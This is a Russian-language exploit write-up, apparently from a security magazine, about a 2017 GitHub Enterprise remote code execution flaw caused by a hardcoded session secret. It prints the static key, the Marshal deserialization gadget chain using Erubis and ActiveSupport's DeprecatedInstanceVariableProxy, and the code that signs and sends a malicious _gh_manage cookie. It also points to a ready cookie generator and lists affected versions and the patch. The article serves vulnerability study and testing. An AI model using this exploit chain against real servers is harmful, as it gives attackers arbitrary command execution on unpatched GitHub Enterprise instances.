Содержание статьи

Дата релиза: 15 марта 2017 года
Автор: iblue
 

BRIEF

Эта уязвимость существует из-за применения статического ключа для подписи сессии. Атакующий может отправить произвольные данные и подтвердить их валидность с помощью сигнатуры, используя известный ключ. Отправив специально сформированный сериализованный объект, атакующий может скомпрометировать систему. Сериализованные данные будут преобразованы в объект Ruby при помощи модуля Marshal и выполнены.

 

EXPLOIT

Для тестирования уязвимости я скачал и развернул копию GitHub Enterprise версии 2.8.5 в виде образа виртуальной машины в формате OVA.

Готовая к приключениям виртуалка GitHub Enterprise
Готовая к приключениям виртуалка GitHub Enterprise

Теперь давай разбираться в причинах уязвимости и способе ее эксплуатации.

Константа SECRET и валидация сессии

Посмотрим на исходник сплоита. Он написан на чистом Ruby, в то время как сам GitHub Enterprise почти полностью на Ruby с использованием Ruby on Rails и веб-фреймворка Sinatra.

41616.rb:

1: #!/usr/bin/ruby
...
7: SECRET = "641dd6454584ddabfed6342cc66281fb"

Начало многообещающее. Что же это за SECRET такой? Обращаемся к сорцам GitHub Enterprise. Просто так это сделать не получится, поскольку они находятся в легкой стадии обфускации. Для этого в GitHub используют кастомную библиотеку.

Обфусцированные исходники GitHub Enterprise
Обфусцированные исходники GitHub Enterprise

Запрос <span class=nobr>ruby_concealer</span> в Гугле расскажет тебе о том, что для обфускации используется XOR с ключом This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken и последующим сжатием по алгоритму deflate. Этот скрипт на Ruby поможет справиться с «защитой». Запускать его нужно из директории /data.

Обнаженные исходники GitHub Enterprise
Обнаженные исходники GitHub Enterprise

Интерфейс консоли управления является Rack-приложением, поэтому давай заглянем внутрь файла config.ru.

/data/enterprise-manage/current/config.ru:

62: # Enable sessions
63: use Rack::Session::Cookie,
64:   :key          => "_gh_manage",
65:   :path         => "/",
66:   :expire_after => 1800, # 30 minutes in seconds
67:   :secret       => ENV["ENTERPRISE_SESSION_SECRET"] || "641dd6454584ddabfed6342cc66281fb"

А вот и SECRET! Переменная ENTERPRISE_SESSION_SECRET по умолчанию нигде не устанавливается, поэтому SECRET на всех серверах имеет одинаковое значение — 641dd6454584ddabfed6342cc66281fb. Как организован интерфейс работы с сессиями в Rack, ты можешь детально изучить в его исходниках. Если вкратце, то алгоритм такой:

  • данные приложения записываются в переменную ENV["rack.session"];
  • используется модуль Marshal для сериализации данных приложения в строку;
  • сериализованные данные кодируются в Base64;
  • к полученной строке добавляется контрольная сумма HMAC::SHA-1. Используются данные сессии, а в качестве соли стоит :secret;
  • полученная строка сохраняется в куке _gh_manage.

Чтобы проверить, уязвимо ли приложение, проделываем обратную процедуру. Берем существующую куку, отделяем данные Base64, считаем от них хеш и проверяем, совпадает ли он с тем, что указан в куке. Тут можешь посмотреть исходник алгоритма, выполнить его и увидеть результат.

Это первый шаг, который выполняет эксплоит.

41616.rb:

58: # Parse the cookie
59: begin
...
65: rescue
66:   not_vulnerable

Если проверка проходит успешно, значит, версия уязвима и мы можем передавать любые данные в функцию Marshal.load(). Если ты не знаешь, что это такое, то советую прочитать про сериализацию объектов в Ruby. Формат Marshal, помимо прочих типов данных, разрешает сохранение объектов и их использование после загрузки. Это открывает огромный простор для эксплуатационного творчества. Нам нужно собрать такой объект, который выполнит код после доступа к нему.

Подготовка объектов для RCE

Для начала разберемся непосредственно с выполнением кода. В Ruby on Rails представления описываются при помощи шаблонов Embedded Ruby (ERB). Модуль Erubis читает файл .erb и генерирует объект Erubis::Eruby. Текст из шаблона копируется в переменную @src. После вызова метода result код из этой переменной выполняется.

lib/erubis/evaluator.rb:

10: module Erubis
...
52:     ## eval(@src) with binding object
53:     def result(_binding_or_hash=TOPLEVEL_BINDING)
...
65:       return eval(@src, _b, (@filename || '(erubis'))

Поэтому первым делом создаем объект Erubis::Eruby и помещаем в @src нужный нам код на Ruby.

41616.rb:

78: erubis = Erubis::Eruby.allocate
79: erubis.instance_variable_set :@src, "#{code}; 1"

Осталась еще одна проблема. Нужно каким-то образом вызвать метод result у новоиспеченного объекта. Для этого можно воспользоваться классом DeprecatedInstanceVariableProxy из модуля ActiveSupport в Rails. Он используется для того, чтобы объявлять переменные устаревшими.

41616.rb:

80: proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
81: proxy.instance_variable_set :@instance, erubis
82: proxy.instance_variable_set :@method, :result
83: proxy.instance_variable_set :@var, "@result"

При вызове приложение вернет предупреждение о том, что переменная erubis устарела, а магический метод send вызовет метод, указанный нами в @method.

/activesupport/lib/active_support/deprecation/proxy_wrappers.rb:

089:     class DeprecatedInstanceVariableProxy < DeprecationProxy
090:       def initialize(instance, method, var = "@#{method}", deprecator = ActiveSupport::Deprecation.instance)
091:         @instance = instance
092:         @method = method
...
098:         def target
099:           @instance.<span class=nobr>send</span>(@method)
...
102:         def warn(callstack, called, args)
103:           @deprecator.warn("#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack)

Теперь при получении доступа к session["exploit"] будет вызван метод erubis.result, который и выполнит наш код.

41616.rb:

85: session = {"session_id" => "", "exploit" => proxy}

Выполнение произвольного кода

Остается только сериализовать полученный объект, кодировать в Base64, подписать известным нам ключом и записать полученную строку в _gh_manage.

41616.rb:

87: # Marshal session
88: dump = [Marshal.dump(session)].pack("m")
89: hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
90:
91: puts "[+] Sending cookie..."
92:
93: rqst = Net::HTTP::Get.new("/")
94: rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}--#{hmac}")}"
95:
96: res = http.request(rqst)

Далее отправляем запрос с готовой кукой на сервер, и, ура-ура, теперь мы можем выполнять любые команды на сервере.

Эксплоит успешно отработал. Команда выполнена
Эксплоит успешно отработал. Команда выполнена

Если не хочешь возиться с Ruby, можешь воспользоваться этой ссылкой. Меняешь переменную cmd, нажимаешь Run и на выходе получаешь готовую куку. Очень удобно использовать при тестированиях на проникновение.

 

TARGETS

GitHub Enterprise 2.8.0 < 2.8.6.

 

SOLUTION

Разработчики исправили уязвимость в новой версии приложения, а также выпустили патч для версий ниже 2.8.6. Теперь при установке выполняется скрипт, который генерирует рандомный секретный ключ.

Оставить мнение

Check Also

WWW: Zulip — опенсорсная замена для Slack и других групповых чатов

Разработчики Slack четыре года назад практически заново открыли миру чаты. В какой-то моме…